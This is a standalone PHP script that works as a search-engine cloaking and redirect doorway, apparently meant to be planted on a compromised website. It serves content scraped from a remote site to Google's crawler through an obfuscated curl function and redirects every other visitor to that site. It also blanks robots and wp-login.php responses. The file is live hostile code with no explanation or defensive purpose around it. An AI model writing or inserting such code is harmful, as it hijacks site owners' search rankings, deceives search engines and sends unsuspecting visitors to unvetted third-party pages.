<?php
$geturl = 'http://'.$_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$urlself = 'http://'.$_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'];
$referrer = $_SERVER['HTTP_REFERER'];
$from = '0';
if(stristr($referrer,'google') || stristr($referrer,'bing') || stristr($referrer,'yahoo') || stristr($referrer,'aol') ){
$from = '1';
}
$baseurl = 'http://www.happy.com/baby/';
$remoteurl = str_replace($urlself,$baseurl,$geturl);
$remoteurl = str_replace('/?','/',$remoteurl);
$zhizhu_js=$_SERVER["HTTP_USER_AGENT"];
$js_zt='0';
if (stristr($zhizhu_js,'google')) {
$js_zt='1';
}
if ($js_zt == '1') {
$content = XloEIK($remoteurl);
$content = str_replace($baseurl,$urlself ,$content);
$content = preg_replace("/(src|href)=[\"\']\/(.*?)[\"\']/i","$1='?$2'",$content);
}
else {
//if($from=='1'){
if($geturl==$urlself){
$xURL = str_replace($urlself,$baseurl,$geturl);
}else{
$xURL = str_replace($urlself ,$baseurl,$geturl);
}
Header( "Location: ".$xURL );
//}
//else{
// echo '';
// }
//Header( "Location: ".$xURL );
}
if (stristr($remoteurl,'.css')) {
header("Content-type: text/css; charset: UTF-8");
echo $content;
}else if (stristr($remoteurl,'.xml')) {
header("Content-type: text/xml; charset: UTF-8");
echo $content;
}else if (stristr($remoteurl,'robots')) {
echo '';
exit;
}else if (stristr($remoteurl,'wp-login.php')) {
echo '';
exit;
}
else {echo $content;}
function XloEIK($tXcikc)
{
$ch = curl_init();
$timeout = 30;
curl_setopt($ch,CURLOPT_URL,$tXcikc);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; neo/1999;)');
$yUdQZx = curl_exec($ch);
curl_close($ch);
return $yUdQZx;
}
?>